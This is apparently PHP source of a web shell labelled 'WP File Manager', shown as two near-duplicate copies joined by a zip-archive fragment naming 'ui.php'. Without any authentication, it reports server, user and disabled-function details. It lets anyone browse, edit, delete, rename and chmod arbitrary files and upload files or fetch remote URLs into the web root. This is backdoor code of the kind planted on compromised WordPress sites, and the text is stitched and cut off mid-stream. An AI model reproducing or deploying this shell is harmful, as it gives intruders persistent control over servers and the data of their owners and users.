"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëinfo@dunyagoz-ks.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
